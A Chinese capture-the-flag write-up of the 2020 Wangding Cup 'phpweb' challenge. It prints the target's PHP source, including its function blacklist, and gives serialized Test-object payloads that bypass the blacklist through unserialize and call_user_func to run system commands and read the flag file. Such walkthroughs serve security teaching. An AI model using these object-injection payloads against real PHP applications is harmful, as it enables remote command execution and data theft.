[网鼎杯 2020 朱雀组]phpweb

看一下源码

应该是输入的date 作为函数,value作为内部参数的值,将date()函数返回的结果显示在页面上

回去看的时候,意外发现页面有了新的跳转,观察一下发现,页面每隔五秒就会发生一次跳转

所以就抓包看看

抓包发现post传了两个数据,分别是date和输出日期的格式,func为函数名称,p为函数的参数,这两个值传到后端就会执行相应的函数

尝试执行system()函数来执行系统命令

输出了Hacker

应该是有黑名单进行了过滤,

看看能不能拿到源码

具体的函数有,file_get_contents(),highlight_file(),show_source()等

复制代码
<?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

发现类Test中的成员函数__destruct()函数执行了gettime()函数,而该函数则调用了关键函数call_user_func(),再看看黑名单中没有过滤unserialize()函数,此时想到可以尝试反序列化

对于反序列化

看了其他师傅的思路

复制代码
<?php
     function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
 class Test {
    var $p = "ls /";
    var $func = "system";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
 
$a = new Test();
$b = serialize($a);
echo $b;
 
?>

call_user_func(func,p),就相当于执行func(p),将结果输出到页面上

system("find / -name flag*"):查找所有文件名匹配flag*的文件

system("cat $(find / -name flag**)"):**打印所有文件名匹配flag*的文件

还有一种

复制代码
O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

获取/tmp/flagoefiu4r93内容

复制代码
O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

也是可以拿到结果

相关推荐
其实防守也摸鱼1 天前
补天SRC新手入门指南:从0到1的漏洞挖掘之路
网络·python·学习·安全·web安全·数据挖掘·挖洞
lubiii_1 天前
网络安全法律法规备考速查手册
安全·web安全·网络安全
txg6661 天前
网络安全领域简报(2026年7月14日—20日)
安全·web安全
HackTwoHub1 天前
解锁 AI 红队全新玩法!Claude-Red 攻防 Skill 库,内置 SQLi、XXE、文件上传等 Web 专项 Skill,一键导入快速落地渗透实战
前端·人工智能·web安全·网络安全·自动化·系统安全
见青..2 天前
phpMyAdmin权限提升
web安全·网络安全·phpmyadmin
数据知道2 天前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
李豆豆喵3 天前
013-基础入门-身份鉴权&参考文章&发包工具项目等
web安全
有浔则灵4 天前
GORM钩子函数详解
网络·安全·web安全
Sagittarius_A*4 天前
CSRF 跨站请求伪造:伪造请求攻击、绕过手段与底层防御
安全·web安全·csrf·dvwa